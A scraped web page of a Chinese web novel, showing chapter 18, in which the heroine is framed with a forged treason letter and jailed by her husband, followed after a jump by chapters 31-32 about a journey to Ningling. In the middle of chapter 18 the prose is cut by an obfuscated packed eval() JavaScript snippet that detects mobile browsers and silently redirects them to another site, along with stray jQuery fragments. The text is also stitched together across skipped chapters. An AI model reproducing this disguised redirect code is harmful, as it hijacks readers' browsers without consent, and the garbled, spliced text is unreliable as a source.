姜辞闻言一愣,随即眼眸一亮,带着一丝喜色快步走了出去。
到了府外,果然见一辆沉稳厚重的马车停在侧门,车夫正小心解着绑绳。车帘一掀,里头堆满了东西,有一包包的凉州特产,也有几箱细瓷小物,甚至还有姜辞儿时熟悉的几味香料与布匹气息,最上方则是一口沉沉的书箱。
姜辞轻轻拂过箱上的灰,吩咐道:“这口书箱先搬去屋里,其余的暂时不急,我现在借住都督屋中,不便收拾,等我的院子修好之后再整理。”
她又道:“让车夫将马车绕到后院,从侧门入,把这些暂时安放在偏院吧。”
晚娘应声去吩咐人手,姜辞则快步折返房中,净了手,摊开案上的纸笔。
她蘸了墨,提笔写道:
“父亲大人亲启。儿已到丰都月余,一切安好,毋庸挂心……”
她写得极认真,笔力端稳,将最近的近况一一叙来,既未言苦,也未浮夸,只在信末寥寥写道:“女儿于异乡,已能自立,愿为凉洲之安,尽绵薄之力。”
她将信折好,装入封袋中,交与晚娘:“此信交予车夫。紫川到丰都路途辛苦,便请他今晚暂宿府中,明日再启程。”
晚娘点头,拎起封袋亲自而去。
而在不远处,沈如安与寄秋站在月影斜落的回廊下,隔着一株槐树,看着姜辞笑意温婉地吩咐下人搬运物什。
“姜辞真是命好”寄秋低声说着,语带讽意,“她还真不拿自己当外人,上次原本以为一场火会让她搬去偏院,谁知道竟然将她送到了都督院中,我这什么时候是个头呢?”
沈如安却只是低笑一声,眸中划过一丝凌厉:“不急,你想取代,得先滕个位置出来不是吗?”
她捏着手中早写好的一封信,语气温柔:“我正愁着该怎么把这封信送出去呢……这不,他们自己送上门了。”
18. 第 18 章
日头尚未西沉,屋中已点起灯火,一盏黄光静静摇曳,映得案上针线清晰。
姜辞指尖轻动,最后一针收尾。她低头细细查看了一遍,确认针脚平整紧密后,才满意地点点头。那护符形制小巧,边角用细金丝缀起,中间绣了个老虎头——
狰狞中藏着稚气,虎牙圆润,双目分神。
“好了。”她低声说着,站起身来。
院中风起,槐影斜斜,光线已有些暗了,但天色尚未尽沉。
门未上闩,她推门而入,案上书卷整齐,盔甲陈设于东墙边,旁边是出征时所穿的战衣,已由越白提前备好,整齐叠放,内外两层皆有,衣领上还残着檀香的气味。
姜辞走近,从怀中取出护符,俯身将它细细缝在里衣衣襟的内侧,一针一线都绣得极牢,位置也藏得极深,不刻意翻找,几乎难以察觉。
身后传来脚步声,晚娘进来低声问道:“姑娘,为何不直接交给都督?好歹是你亲手做的。”
姜辞头也未抬,只是指腹抚了抚那一小团暗色布料,语气温柔却笃定:
“他那性子,若是知道我给他绣这个,准又得说我迷信。与其被他当面嘲上几句,不如悄悄藏进去,他若不知,反倒会老老实实戴着。”
晚娘一听,不由失笑:“姑娘倒是有法子,都督那张嘴,平日里可真没半句好话。”
姜辞眼中神色未动,轻声却笃定:“可这乱世,他若不平安,凉州……便无人能护。”
说罢,她起身,目光扫过那一件件戎装,低声道:“希望他能平安归来。”
夜色已深,屋内灯火暖黄,姜辞刚让晚娘将饭菜摆上桌,一道熟悉的脚步声自院外传来。
片刻后,越白踏入室内,抱拳说道:“禀夫人,都督今日督军署有要事商议,临时决定今夜不归。明日一早便要前往军营,出征在即,短时间内恐怕都不会回府了。”
姜辞听罢,手中动作微顿,眼中闪过一丝沉思。她点点头,轻声道:“我明白了。”
正欲起身,忽忆起自己亲手缝制的护符,尚未见他穿上,刚要开口询问,便听越白续道:
“属下此番回府,是为都督取些衣物。夫人可还有什么吩咐?”
姜辞微微一笑,掩去眼中情绪,语气温婉:“无他,只盼他平安早归。”
越白点头:“属下会一并转告。”
临走前,他又补充一句:“后日辰时,将士们出征,家眷多会聚于城北大道送行。若夫人有意前往,可从府后门绕道而行。”
姜辞静静听完,只轻声应道:“我知道了。”
银霜小心地上前一步,低声问道:“姑娘后日……可要去给都督送行?”
姜辞正低头轻拂衣袖上的褶痕,闻言抬眸,唇角勾起一抹淡笑,那笑意却不轻浮,而是带着几分从容笃定。
她柔声回道:“自然要去。”
稍顿,她看了眼窗外昏黄的灯火,语气忽而多了一分明朗的调侃:
“而且还得大摇大摆地去。让他知道,也让东阳军上下都看见。”
“他姬阳,家里也是有人盼着他归来的。”
银霜怔了怔,随即轻轻笑了:“姑娘要是去,怕是会十分夺目。”
次日清晨,丰都北城门外。
天光微曦,城门刚启,数辆运货的马车陆续驶出。
一辆灰布笼罩、略显斑驳的马车缓缓行至,毫不起眼。
赶车的是昨日前往东阳侯府送信的凉州车夫,一身粗布短袍,神色局促,握缰的手心隐有汗意,坐下马匹似也感受主人的焦躁,嘶鸣不止,蹄声杂乱。
城门前,东阳兵士列队查验,气氛森严。
副将手持名册巡查,一眼扫见这辆马车,眸光微凝,抬手示意:“拦下。”
车夫急忙勒住缰绳,赔着笑脸道:“军爷,我是凉州人,昨日进城送货到东阳侯府,这是回程……这是通关碟。”他说着,将一块木牌递了过去,“是都督夫人吩咐的,说送些东西回家。”
“都督夫人?”副将挑眉,看了眼车厢,果然有几个包囊,便问:“都装了些什么?”
车夫犹豫片刻,才小心从怀中掏出一封书信,双手奉上:“是……夫人写给刺史大人的家书。”
副将接过信未拆,转头吩咐:“搜车。”
随行士兵翻查车后,一番搜索后,在一处衣物包袱底层,竟又摸出一封包裹极紧的信函,封口无名,只写着寥寥数字:
“交西凉军。”
副将神色一沉,命人小心拆开,一幅粗绘舆图赫然铺展在晨风之下。
图中标注着东阳几处兵力布防、水陆要道,甚至在一隅写着“可由水道突袭”几个细字。
更有一封娟秀笔迹的信,字句隐隐透出谋略之意:
“……此举虽非正道,然皆为凉州百姓计也。望将军为念,按图施策。若事成,凉州可保无虞。辞不胜感激。”
副将脸色倏变,冷声低斥:“通敌文书!”
车夫脸色霎时惨白,跪倒在地,磕头如捣蒜:“不是我!不是我!我只是送信的,我不识字啊……我真的不知道——”
副将森然道:“押下,带回军营严审!立即禀告都督,此事绝不可泄!”
几名兵士上前,持械押人,卷起那封信与图纸,一行人迅速回返。
傍晚将至,天色昏沉,东阳大营,帐中杀气森森。
副将疾步入营,掀帘跪下,双手奉上一封封信函与那张粗绘的舆图。
“都督!”他低声道,“属下……查到了这个。”
姬阳正立于舆图前,听得此言,目光一转,落在那熟悉的字迹之上,整个人一僵。他一步步走来,接过那信,展开。
纸页未曾完全展开,他的手已在微微发颤。
那是一封熟悉得不能再熟悉的笔迹。
娟秀,稳练,每一笔都与她写在手记上的一样。
他却看不清字,也不想再看,只觉得眼前一阵发黑,仿佛五雷轰顶。他捏紧纸边,指节泛白,一声不吭地站了许久。
周围将领低头不语,大气不敢出。
陆临川察觉不对,靠近一步,眉头微皱:“主公?”
姬阳猛地转身,将那信重重摔在案几之上,低吼出声:“我当初就该听你的!该将她砍了!”
话音如雷,震得帐中气氛霎时凝滞。
陆临川一怔,抬手将信拾起展开,眉目逐渐凝重。他看完舆图与信,目光亦变得复杂非常。
姬阳转头看向下跪的副将,语气压着怒火:“那个车夫呢?”
“带来了,押在外头。”
“带进来。”
片刻,两个兵士压着那名车夫进帐,他面色煞白,浑身瑟瑟发抖,扑通跪倒在地:“都督饶命……小人不知,真不知那信里写了什么……”
姬阳上前一步,冷声逼问:“你把话说清楚,那信,那图,是不是她亲手交给你的?”
车夫连连磕头:“是,是的……小人那日在府后院装车,那包裹是夫人亲自交给我的,说是要送给家中老父,信也是她当面交给我的,还吩咐小人路上务必小心……”
“都督饶命啊,我只是个跑腿的!”
“我不识字,不知里头是这等东西啊!”
姬阳站定,脸色阴沉得像是能滴出水来。他目光一寸寸冷下来,如冰刀一样随时凿入骨髓。
“关起来。”
副将立刻应声,押着车夫退下。帐内再无他人出声。
陆临川缓缓叹了一口气,将那封信重新放回案上,轻声道:“主公,夫人的性格,是个谨慎的,不像是会轻易把这种通敌信件交给这样的粗人的。”
姬阳未答,唇角动了动,却终究什么也没说,只是猛然转身,推翻了一旁的案几,茶盏、兵棋、书简纷纷落地,营内其他人大气不敢喘。
陆临川刚要再言,姬阳已霍然转身,重重一把拽起椅背上的披风,手臂一挥,将长披裹上肩头。
“备马。”他低声道,语气如刀锋割裂夜风。
“不等议完兵事?”陆临川眉心一动,追问。
姬阳却仿佛没听见,步伐凌厉,直接迈出营帐,背影沉冷,他一边快步走向马棚,一边抬手松开披风一角,将佩剑斜插入腰后。
“主公——”陆临川跟出一步,却终止了劝言。那一道背影如雷如火,周身森杀之气翻涌,已无人能挡。
须臾之间,马匹牵出,姬阳翻身而上,缰绳一抖。
战马长嘶一声,铁蹄扬起,带着主将裹着暮色狂风直掠而出,驰向丰都城方向。
营外旌旗在风中鼓动,尘土飞扬,卷入暮霭。众人目送那道身影远去,无不神色凝重。
此时,东阳侯府内灯火微明。
姜辞坐在铜镜前,手中托着一枚青玉簪,轻轻在发间比了又比。银霜抱着几个包袱进来,小心翼翼地将她平日最喜爱的几套衣裳一一摊在榻上,铺展开来。
“姑娘,这几件是您最常穿的了。”银霜说道。
“拿那件月白的来我看看。”姜辞挑眉,银霜应声拎起,那绸缎垂落如流水。
姜辞起身,将衣衫往身前轻轻一搭,又取了一支羊脂玉簪,细细比着发髻左侧与右侧,忽而转头问晚娘:“你们觉得哪边好看?”
晚娘掩口轻笑:“姑娘这样子,让人想起在紫川时的您,还是小女孩的心性。”
姜辞也笑了,坐回镜前,低头抚了抚裙角:“可这一转眼,我已经不在是小女孩了。”
她顿了顿,眼神在镜中映出的自己身上流转,忽然笑道:“我想让他明日能从人群中,一眼就看到我。”
银霜将最后一支蝴蝶簪插好,忍不住感慨:“都督要是见了,心中对您恐怕会多少有些心动。”
姜辞没应,只缓缓理着衣袖,唇角却悄悄扬起一点柔意。
夜幕沉沉,屋中灯火尚暖,姜辞方才还拈着绣簪对镜而笑,忽听院外一声沉厉的脚步踏入,未及反应,门“砰”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361275|183693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地被踹开。
姬阳怒气冲天地闯进来,满身寒意,面色深沉。他目光凌厉如刀,步步逼近,不由分说一把将姜辞从席上扯起。
姜辞未站稳,手腕被姬阳紧紧抓着,她惊呼一声,姬阳才松开手,姜辞跌倒在地,外衣肩膀处滑落,珠玉四散,发鬓散乱。
晚娘和银霜还想上来问怎么了,在看到姬阳的神情时,也统统吓得跪在地上。
她抬头看他,只见他眸中布满怒火,冷得像淬了霜的剑。他将一封信狠狠摔在她面前,冷声怒喝:
“你自己看看。”
姜辞愣住,颤着手拾起那封信,她认得这纸、认得这笔,却不认得这字里行间藏着的内容。
一幅舆图,布兵、水路、破口……下笔流畅如她,却不是她写的。
“这不是我写的。”她声音哑哑的,像是从胸腔里硬挤出来的。
“不是你写的?”他猛地弯腰,钳住她的下巴,近乎狰狞地逼问,“你可知——通敌,是死罪?”
姜辞呼吸骤然一滞,眼前一片发白,嗓音颤抖:“我没有……”
“够了!”他声音如雷,猛地甩开她,姜辞身形想后靠去,撞翻一旁案几,茶盏滚落,茶水湿透她的裙角。
她的心仿佛也被这滚烫的水淋透,烫的发疼。
她猛地撑起身子,声音发颤却不肯低头:“你都不肯查,也不听我辩解,就认定是我?”
她声音突然拔高,眼里泛起痛极的光:“你娶我,不过为了缓兵之计,我认。你不信我,也认!可我想说,倘若我想毁掉你,何必通敌,只需要在你睡着时给你一刀即可。”
她眼里泪光打转,却倔强得一句哀求都不说,只一寸寸站起,指尖还沾着刚才散落的绣线。
姬阳咬牙看着她,面色铁青,随即转身沉声问道:“凉州送来的东西,可还在?”
手下一名亲卫应声而出:“回都督,昨日送到府中的,按照夫人安排的,全部安置在偏院。”
话音未落,姬阳已疾步踏出厅门,脚步沉狠,衣袍猎猎作响。
姜辞心中倏然一紧,隐隐生出不安,猛地起身追了出去,袖袍带风,几乎跌倒。
“姬阳!”她唤他,声音微颤。
他不曾回头,步履未停,姜辞咬牙紧追,银霜与晚娘紧随其后,满脸惊惶。
夜色下,偏院沉静,一辆装着布囊与书箱的马车静静停在墙边,几名仆役正围着打点。
姬阳走近,眉目如铁,目光一扫,冷声道:“将油取来。”
亲卫不敢迟疑,立刻取火油来。姜辞疾步追上,拦到他面前,气息凌乱:“你想做什么?”
姬阳偏头看她,眸色冰沉如夜,一字一句如刀刃:“我做什么,还需向你一个通敌的罪人请示吗?”
他不等她反应,伸手一挥,火把点燃,吩咐:“浇。”
火油泼洒在布囊与木箱上,咕咚一声,一道火舌“呼”地窜起。火光瞬间吞噬了布匹、书卷、衣物、干粮、香料……还有那箱她因没地儿放暂时搁置在这里的一箱医术。
“不要!”姜辞失声惊叫,冲上前,刚欲扑去救下那箱书,却被姬阳亲卫一把拦住,双臂死死制住。
她看着那堆来自凉州的物品,一点点葬于火海,泪水无声落下,身子止不住颤抖。
晚娘跪在地上恳求:“都督,求您放过姑娘,这些只是……”
姬阳充耳不闻,忽然上前,一把将姜辞的手腕拽住,力道之大几乎要将她甩脱半边肩膀。
他将她猛然一甩,姜辞重心不稳,摔在炙热火焰前,双手撑地,身上被火光映得通红,指尖死死扣着土石。
“这是你姜家——”他俯身,靠近她对耳边,字字低吼,“欠我的!”
姜辞望着火中跳跃的烈焰,仿佛又看到家乡槐树下母亲缝衣的身影,父亲嬉笑抱着她的样子,被一并吞没。
她的发鬓微乱,额上沁汗,眼里泪水却止不住地落,身后是晚娘和银霜扑过来将她护住,声音哽咽:“姑娘别哭了……”
姬阳站定在她面前,冷光森森。
“姜辞。”他声音低冷、慢狠,居高临下,仿佛一个修罗判官。
“与你们姜家曾对我做下的事相比,这点苦,你该受着。”
火光熊熊,照亮了半边天,也将姜辞脸上的泪,照得清清楚楚,她抹去了泪,神情也冷静了下来。
他冷声喝令:“来人——将她与她的两名贴身婢女,一并绑了,送入督军署大牢!”
院外的侍卫轰然而入,银霜惊叫:“姑娘!”晚娘匍匐跪地求饶,却被拖走。
姜辞一声未吭,任人将她的铅住。
只是被拉出去时,她回头看了姬阳一眼。
那目光没有怨,没有恨,只有苍凉。
姬阳看着她被带走,对她说道:“我没工夫听你再这里狡辩!你以为我还会被你几句话迷惑?!”
“我出征在即,待我归来,一定会给你一个体面的死法儿!”
30-40
第31章
姬阳站在廊下,背脊挺得笔直,语气一如既往地平稳而冷淡:“今日,便出发。”
姜辞一怔,尚未从方才整理文案的思绪中回神:“今天?现在?”
“对。”他语气干脆,“你若去,就叫晚娘和银霜准备准备。我在府门口等你。”
话落,不容置喙,他已转身离开。
姜辞望着他的背影怔了几息,才慢慢回神过来。她本以为还有一日缓冲,没想到说走便走。可念及宁陵毗邻凉州,路途或可遥见家山,她心中还是泛起一丝雀跃。
“晚娘,银霜!”她转身唤人,步履轻快。
晚娘正打着哈欠收拾药柜,银霜还在屋外晾衣裳,两人闻声赶来:“姑娘?”
“收拾东西,我们要出发去宁陵。”姜辞语气带着几分急促。
“现在?”晚娘一惊,手里的帕子都掉了。
“嗯,都督已在府门口等我们。”姜辞边说边利落挽起袖子,自己动手收拾起来,“路上带些够用的就行,大哥新丧,我们不宜铺张,衣裳首饰都从简,有需要的东西,到了宁陵再买。”
“这样也好。”晚娘应着,已转身去打点衣物,“我带两套薄衫,再添些姜汤和药材。”
姜辞抿了抿唇,回身忽然对晚娘道:“你先去收拾,我去一趟婆母那里。”
晚娘一愣:“去见姬夫人?这几日姬夫人一直闭门不出……”
姜辞点头:“越是这样,越该去一趟。”
她换了双鞋,一路朝东厢走去。一直走到姬夫人卧房门前,姜辞轻叩两下门,道:“婆母,是我,今日本随都督前往宁陵治水……一别不知何时再归,儿媳特来请安。”
屋内静默良久,正当她欲起身离去时,门却“吱呀”一声,从内缓缓打开。
姬夫人立于门后,一身麻衣未解,鬓发略显凌乱,眼底一圈乌青,面色却仍冷静自持。她看见姜辞,眸中微微一动,终开口:“进来吧。”
姜辞随她入内,看着眼前的将门之女姬夫人,以往她最为精神,此刻却因为大哥的去世,十分憔悴,难免心中生出一抹心疼。
姬夫人坐下,眼神落在姜辞身上,淡声道:“今日便随他一同去宁陵?”
“是,”姜辞轻声,“都督来时说得突然,晚娘正收拾东西,我想着出门前,总该来见一面。”
姬夫人沉默片刻,像是在斟酌,良久才缓缓道:“子叙的事……唉。”
姜辞一时间不知该如何安慰,只是想到昔日与大哥的相处,她也一阵鼻酸。
姬夫人抬眼看她,语气却意外柔和:“但既然去了宁陵,我恳求你一件事,替我照看好子溯。他性子冷硬,许多事藏在心里不肯说。你若真愿意与他今后有一份姻缘,就别怕他拒人于千里之外……久了,他自会看到你的好。”
姜辞怔住,唇动了动,却终是点了点头:“我明白了。”
两人对坐无语,屋外风声渐起,帘角轻摇。
姬夫人忽又低声道:“回来时,若有什么凉州特产,也替我带一份回来罢,我已多年没去过凉州了。”
姜辞轻应:“好。”
临出门,她回头看了一眼屋中,姬夫人仍坐在旧榻上,背脊挺直如松,仿佛多年将门生涯早已刻进骨血。只是那身影,比往昔看起来要孤单许多。
她垂首福身,转身离去,与晚娘银霜汇合。
银霜则去备干粮水囊,不一会儿,三人便收拾停当。姜辞换了身素净浅青色衣裙,鬓边插着一支白玉簪,头上仍戴着象征居丧的小白花。
马车已备在府前,姬阳策马而立,玄衣冷甲。
他看了眼才姗姗来迟的几人,薄唇微启,语气凉凉:“女人就是麻烦,收拾个东西都能耽误半天。”
姜辞不愿与他争辩,只是翻了个白眼,拉着裙摆上了车。
姬阳看也不看她一眼:“我先行一步。”
说完,轻磴马腹,骏马扬蹄而去。
陆临川翻身上马,紧随其后,见姬阳神色平静,眼角却似有一丝不易察觉的沉思,便笑着打趣:“都督为何这趟治水要带上夫人?”
“她熟悉地形。”姬阳随口敷衍。
“熟悉地形?夫人不是生活在紫川吗?”陆临川侧目望他,挑眉一笑,“她在你面前才刚刚避过一劫,你又得知她思念家乡,这才叫她同行,是吧?”
姬阳没说话,只勒了勒缰绳。
陆临川继续慢悠悠地道:“你骑马疾行,将夫人留在马车里,叫人瞧见,她这都督夫人可没什么体面。她没面子,打的是谁的脸?”
话音刚落,姬阳的马忽然慢了下来。
陆临川看见他勒马于城外官道,停在那里,目光直直望着身后官道深处。
许久,马车终于驶来。
姬阳才再度催马,策至车侧,与马车并行。
姜辞坐在马车内,闭着眼,车外马蹄声远近错落。晚娘与银霜坐在对侧,靠在一块儿小声说着话,又怕扰了姜辞的清净,说不了几句便也倦了,轻轻倚着车壁打起盹来。
车内一时寂静,姜辞却没能睡着。
她微微睁眼,指尖拨了拨窗帘的缝隙,将车帘轻轻掀起一角。
外头日头尚未正盛,阳光被高高垂枝遮住几分,洒下斑驳光影。
她一眼便看见并行在马车旁的姬阳。
他骑着马,面容冷肃,神色凝重,周身仿佛罩着一层压抑的沉意。眉眼间皆是阴翳,像有什么东西始终压在那里,化不开,散不去。
姜辞顺着视线往后看,便见马车之后,整齐肃然地跟着几十名东阳兵士,护卫有序。
忽然,姬阳低声开口:“怪我自己。”
姜辞一怔,转头看他,他却望着前方,没有看她:“倘若那日,我没有叫竹娘带着阿梵去拜师,竹娘就在府中……这一切,说不定都不会发生。”
姜辞沉默一瞬,随即温声道:“可就算那日竹娘在,她也终有一日不在。一个人铁了心要害你,她总能想出法子来。沈如安要的,不只是机会,若无时机,她也会亲手造一个出来。”
姬阳不语,只是薄唇紧抿,神色不改。
姜辞看着他被风吹乱的发丝,还有紧绷的下颌线,心里微微叹了口气。
她知道,这话再多说,也不过是安慰。他与姬栩是自幼一块长大的兄弟,大哥之死,终归是他心中无法抹去的痛。
正想着,姬阳再次开口,语气平淡中带着一丝遥远的回忆:
“我十岁那年,沈如安被父亲从外头接进府中,与我和大哥一道生活。起初,她确实乖巧懂事,总爱缠着我大哥,话也不多。可有一次,我不愿把自己心爱的一枚剑穗送她,她便趁着夜里闯我房间,扮鬼吓我。”
他说到这儿,轻笑一声,笑意却不达眼底:“自那之后,我便不太喜欢她这个人。可她总是围着大哥转,对大哥是真心好的。既然我大哥不在意,我也就没说什么。后来她再回东阳,我也没想太多。她写信说来看望大哥,我便允了……我应该拒绝的。”
姜辞轻声道:“但那不是你的错。”
姬阳没再应声,只是垂下眼眸,神情沉沉,像是将旧年旧事,一寸寸从他心头刮过。
姜辞望着他,忽觉这男子的背影,比从前任何时候都显得沉重又孤单。
这一刻,她没有再说什么。因为她知道,许多事,旁人无法化解,也无法弥补。唯有他自己,才能将痛意抚平。
姜辞将帘子放下,车内重归昏暗。她靠在软垫上,闭目歇息。
而马侧的姬阳,却忽然神思一动。
他脑海中不知怎地,竟浮现出那夜她在院中中了迷药后,神志恍惚,柔若无骨地攀缠在自己身上,软语轻唤的模样。
那一刻,她身子贴得极近,唇角轻启,气息温热,眉眼含情,却又带着一丝天真无觉的诱惑。
心口一热,胸腔仿佛有什么莫名情绪被撩拨了一下。
姬阳倏地皱眉,深吸一口气,勒紧缰绳,猛地一夹马腹。
马蹄翻飞,他便扬鞭向前,试图驱散心头的杂念。
“美人误国……陆临川诚不欺我。”他低声咬字,目光沉沉,“还是离她远些为好。”
车中,姜辞听见蹄声远去,微睁开眼,问道:“丰都到宁陵,路途不近,咱们坐马车怕是比他们晚上一日。晚娘,等下歇脚时,你去问问沿路可有什么驿站。”
晚娘应道:“我记下了。”
姜辞轻轻颔首,闭上眼眸,继续静坐养神。
日头渐高,前方不远便有一处溪流蜿蜒而过,溪畔杨柳依依,水声潺潺,风景清雅。
姬阳与一队东阳军早已先至,此刻正立于溪边歇脚,陆临川站在他一侧,两人似在低声说着什么。
不多时,姜辞这边的马车才缓缓赶至,车轮辘辘,在林荫间发出轻响。
车一停稳,晚娘与银霜便搀扶姜辞下车。她穿着素净衣裳,鬓边仍簪着小白花,一下车,抬眸望向前方青山碧水,顿觉胸中一畅,不禁抬手伸了个懒腰。
“这儿风景真好,”姜辞低声道,“歇息一会再走罢。”
银霜应声笑道:“小姐,我去溪边打些水来。”说罢提了水壶,快步朝溪边走去。
晚娘则将地上一块平整石头垫上软毯,姜辞坐下,斜倚着树荫,半阖着眼,静享片刻清凉。
溪水清澈,银霜拣了上游的一处石阶站定,弯腰灌水,不料脚下一滑,“呀”地一声,整个人扑通一声跌进水中,激起大片水花。
声音不小,引得一旁的姬阳和陆临川纷纷望来。
姬阳皱眉,双手叉腰,望着那还在水里扑腾的人,低声道:“一个个都笨手笨脚,跟她主子一个模样。”
陆临川闻言失笑,却未多言,
转瞬已三步并作两步走向溪边,连鞋袜都顾不得脱,直接下水,一把将银霜从水中捞起。
银霜浑身湿透,脸颊泛红,紧紧抓着陆临川的衣袖。抬头那一瞬,正对上他逆光而立的身影。
他眉目如画,眼中光色清朗,唇角扬起一抹轻笑,如春风拂面:“你可有伤着?”
银霜呆了一瞬,才连忙摇头:“没、没有……”
陆临川看着她狼狈模样,也不多说,伸手将她扶上岸。
岸边,姬阳瞥了一眼,冷哼一声,转身不再理会。
银霜坐在岸边抖着水,垂下头不去看陆临川。陆临川见状,似笑非笑地望她一眼,便自顾拧着衣摆走远。
西岭方向,天光渐沉,暮色如潮。
山道尽头,一间孤悬的客栈隐于林间,檐角下的铃铛被风吹得微微作响。
姬阳命令东阳军在附近歇整,他与陆临川先一步入内。姜辞与晚娘、银霜随后而至,穿过庭前的石径时,风起,吹得她鬓边青丝轻扬。
树影婆娑,斜斜落在院角。
其间,一名身着墨衣劲装的男子倚在树下,神色懒散,指尖慢悠悠转着一枝草茎。忽而抬眸,正见姜辞回首的一瞬,月色清凉,映得她眉目如画,肌若冬雪。
他怔了怔,随即低笑一声,唇角扬起一抹若有若无的弧度。
“可算来了。”
第32章
客栈依山而建,院内松影斜斜,檐角风铃轻晃。姬阳与陆临川一前一后踏入院门,掌柜闻声迎出,拱手笑道:“两位官爷,是歇脚还是打尖?”
姬阳淡淡道:“住店,五人,四间房。”
掌柜脸上堆笑,却为难地搓了搓手:“唉,这几日因前路山道塌方,绕西岭而行的人骤增,店里房间紧俏。今日只余三间房了,几位可不介意凑合一宿?”
话音未落,姜辞带着晚娘与银霜从门外走入,风起衣角,步履从容。
陆临川眼角一挑,唇角噙笑:“那正好,我一间,你和你夫人一间,她两个婢子一间。”
姜辞才欲开口,姬阳却冷声打断:“我一间,你一间,她们三个一间。”
说罢,未等旁人反应,已大步登楼,半分犹豫都无。
姜辞微微一怔,随即又觉得这样安排其实也在情理之中,她本就没打算与他同房。她朝掌柜略一点头,接过钥匙时语气温和:“有劳了。”
掌柜连声应下。
陆临川却并未随姬阳而上,他回身看向姜辞,笑意浅浅:“夫人,不如我去与都督同住,让你一人单独一间,晚娘和银霜便住你隔壁,照应也更方便。”
他语气温润,不待姜辞应声,他已自作主张将一块钥匙塞进银霜手中,朝众人拱了拱手:“那就依我说的来。”
说完,转身稳步上楼,身影干脆,
姜辞望着他的背影,轻轻一笑,声音带着一丝无奈:“那便多谢陆司马了。”
姬阳方进屋,将肩上的甲胄卸下,搭在铜钩上,佩剑一并搁在案几上。
正欲解衣歇息,忽听得门外传来两声轻响。
他走上前去开门,一股夜风挟着凉意灌了进来,门外站着一袭青衫的陆临川,手里提着他随身携带的酒壶,神色懒散,似笑非笑。
姬阳见了他,眉梢微挑:“行舟,你来,可是有要事商议?”
陆临川却不答,只轻轻推开姬阳挡在门口的胳膊,自顾自踏步而入,落座于桌前。酒壶放下时发出清响,他转头看向姬阳,语气轻松:“今晚,我和你同住。”
姬阳闻言嗤笑一声,关上门,冷哼着答道:“合着我们陆司马做好人,把自己那间房让出去了?我一个人住惯了,还是劝你回你自己房里歇着。”
陆临川懒懒地歪着头,目光似带几分揶揄:“我怎么不知道,你什么时候养成了这样的习惯?嗯?跟我还装什么?”
姬阳背脊挺直,面色如常:“我就是想清净些。”
陆临川倒也不争,慢悠悠地打开酒壶盖,仰头饮了一口,道:“自你十七那年起,我们便一同行军作战,转战南北,如今已识你七载。你是什么样的人,我还能不清楚?昔日扎营苦寒之地,哪一次不是同吃同住?怎么到了今日,偏要这般矫情?”
姬阳听罢无奈,走到床边坐下,解了靴子,丢在地毯上:“我说不过你。反正我睡觉爱踢人,你自个儿小心点。”
陆临川盯着他看了几息,目中笑意渐敛,忽地正色,语调也沉了几分:“子溯,你还记得……那年我们在东阳侯灵前说的话吗?”
姬阳此时已斜倚在床上,枕着一臂,静静望着床顶,片刻后低声答道:“记得。我说——将来我要一统天下,一定请你做这天下第一宰辅。”
陆临川听他复述完,眉目微动,神色间竟泛起几分遥远的情绪。他站起身来,手里拎着酒壶,缓步走到床边,将壶递给姬阳。
“那时候,我确实信你终会做到,现在也是。”他语声微缓,却坚定如昔,“你也必会成为一个能定乾坤、护黎民的君王。”
姬阳斜睨着他,将酒壶接过,沉默中喝了一口。
陆临川没有坐下,只立在榻前,语气一转,忽又多了几分意味深长:
“如今天下四分,旧西凉兵力已非往昔,北庭忙着内斗,形势混乱,这世间,真正有一统之力的,唯你与那瀚北霸主楼弃有一争之力。”
他说到这儿,拿过姬阳手中的酒壶,又饮了一口,语气愈发清晰,“凉州四战之地,居四方咽喉,谁得凉州,谁就有了问鼎天下的筹码。而今姜怀策愿嫁女与你为妻,等于拱手奉出整个凉州势力。”
他略顿,目光一寸寸落在姬阳身上,“你何不与姜辞,好好相处?哄得她欢心,不费一兵一卒,便可将她父的凉州军收入囊中。”
姬阳刚欲开口,却被陆临川一手抬起打断。
“我知道,你忘不掉,今日凉州军乃是昔年旧西凉的旧部,你更未忘,姜怀策昔年如何叫手下的人待你。”
他的语气却比先前更慢:“你想杀他,这我知道。但我话已至此,该怎么做……你自己思量吧。”
屋内一时寂然,只有风吹灯影微晃,窗外不知哪处犬吠一声,便又归于沉寂。
姬阳沉默片刻,指间微紧,掌心握着那酒壶,眼神却渐冷。
半晌,他抬眸看向陆临川,目光坚定,声音低沉而铿锵:
“我姬阳,做不到靠欺骗一个女子的真心,来换取一城一地、一军一政。”
他一字一顿,语气不容置疑:
“凉州,我要,姜怀策的项上人头,我也要。但这些,我要凭自己的本事,一步步取。”
另一边,晚娘借用了客栈的厨房,简单做了些宵夜。
姜辞想着今日赶了许久的路,姬阳与陆临川也未曾好好用饭,便吩咐晚娘盛出一份,自己亲自端着准备送去。
夜色沉沉,廊下灯火昏黄,她脚步轻缓,沿着木廊而行。等走到姬阳房门前,正欲抬手敲门,屋内却传出一声冷厉低沉的男声。
“凉州,我要,姜怀策的项上人头,我也要。但这些,我要凭自己的本事,一步步取。”
话音铿然,带着不留余地的决绝。
姜辞怔在原地,指尖一颤,手中托着的食盘也跟着微微晃了几下。
她像是忽然被钉在地上,双脚沉如铅石,竟半步也挪不动。
耳畔只有自己的心跳声,一下又一下,像是被浸进了冰水里,每一下都冷得彻骨。
她不知道自己是怎么转身,又是如何一步步走回房间的。等回过神时,已推开门,立在室中。
晚娘正拿着帕子擦桌子,一见她面色惨白,神色不对,忙放下手中活计迎上来:“姑娘?怎么了?”
姜辞仿佛这才回神,轻轻摇头,声音低哑:
“没事,晚娘……你和银霜都先退下吧,我想一个人静一静。”
晚娘迟疑了一瞬,终还是点头退了出去,临走前替她带上了门。
房中顿时安静下来。
姜辞将宵夜轻放在桌上,缓缓坐到床榻边,双臂环住膝盖,静静缩在那里。
灯火映着她的侧影,眉眼低垂,唇瓣紧抿。
她忽然觉得心头一阵说不清道不明的委屈,像是一口气堵在胸口,却怎么也吐不出来。
